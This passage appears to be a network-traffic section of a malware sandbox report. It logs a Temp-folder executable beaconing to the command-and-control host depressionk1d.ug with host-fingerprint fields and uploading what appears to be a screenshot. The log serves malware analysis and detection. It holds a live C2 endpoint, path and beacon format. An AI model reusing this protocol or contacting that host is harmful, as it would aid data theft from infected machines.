Nov 12, 2021 22:23:45.382317066 CET	6829	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:45 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:45.392956972 CET	6830	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:45.420675993 CET	6830	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.4	49913	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:45.568892002 CET	6831	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:45.595460892 CET	6831	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.4	49914	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:45.935548067 CET	6832	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:45.962323904 CET	6832	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:46.025098085 CET	6833	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:46.025178909 CET	6833	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:46.025366068 CET	6843	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:46.025491953 CET	6846	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:46.047626972 CET	6847	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:46 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:46.047808886 CET	6853	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:46.047847986 CET	6863	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:46.047898054 CET	6868	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:46.047956944 CET	6874	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:46.070529938 CET	6895	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:46.070589066 CET	6906	OUT	Data Raw: a8 66 88 72 f5 a7 e6 9a 29 d5 0c d1 0f 53 c5 79 17 c4 f0 16 f2 c7 1f f3 cd ff 00 f4 2a f5 b1 d4 d7 91 fc 4e 3f e9 d6 3f f5 c9 bf f4 2a d2 87 c4 45 53 c7 5a 35 63 92 29 04 29 e9 52 62 94 57 2f 2a 3d 2e 66 33 ca 5e 3d a9 db 17 76 71 cd 2d 19 a7 64 Data Ascii: fr)SyN??ESZ5c))RbW/=.f3^=vq-dbhN!] @7n4Z9P(t0hVBJ!@sE93Ri)c<DxJ)rc1(nqO ``PFFHD~D#KIF=*c4yIOvBx
Nov 12, 2021 22:23:46.070614100 CET	6911	OUT	Data Raw: 6a 64 f3 0c c5 2e 2a 50 86 94 25 04 f3 11 81 4f 02 9e 14 53 c0 5a 64 b9 11 85 a7 84 a7 82 a3 bd 1e 6a 0f e2 14 10 db 62 04 a7 04 a6 9b 98 87 f1 52 7d b6 31 d3 9a 77 42 e5 9b e8 4c 12 94 25 56 37 cb d8 53 7e da 4f 41 45 c3 d9 cc bd b7 14 a0 56 7f Data Ascii: jd.*P%OSZdjbR}1wBL%V7S~OAEVD+RQVW1=w}ExURQa{"h[sFM7w9J~7xqBhh$\kc%5X5.w/YsFr-IM}b]\G

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49794	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:15.331141949 CET	1974	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:15.331315994 CET	1974	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:15.331679106 CET	1984	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:15.331758976 CET	1987	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:15.354157925 CET	2001	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:15.354197979 CET	2010	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:15.354348898 CET	2012	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:15.376897097 CET	2018	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:15.376960993 CET	2040	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:23:15.376981974 CET	2041	OUT	Data Raw: 40 f9 fd d4 9e 8a 2b e6 80 6b d2 c0 fc 2c 75 3e 08 fc c5 3c 52 67 9a 42 79 a5 ae e3 01 c2 96 90 52 d3 10 51 9a 42 68 a2 e0 28 a5 ed 40 a2 98 80 f5 a7 af 4a 6d 2e 4d 34 26 3f 3c d1 4d 06 94 1c 9a 62 1d 47 4a 41 4b 4c 42 d0 29 05 2d 02 1c 29 45 36 Data Ascii: @+k,u><RgByRQBh(@Jm.M4&?<MbGJAKLB)-)E6%4P!iiE0Gd.ifXRx5H~iKM=(hCN(p4NUE-4t!4)D9S(D4hP4)<U"1NRLQK@
Nov 12, 2021 22:23:15.376991987 CET	2046	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:23:15.424283981 CET	2083	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:15 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.4	49915	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:46.119458914 CET	6928	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:46.145697117 CET	6929	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.4	49916	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:46.318733931 CET	6929	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:46.346065044 CET	6930	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.4	49917	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:46.479212999 CET	6931	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:46.504889011 CET	6931	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.4	49918	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:46.651496887 CET	6932	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
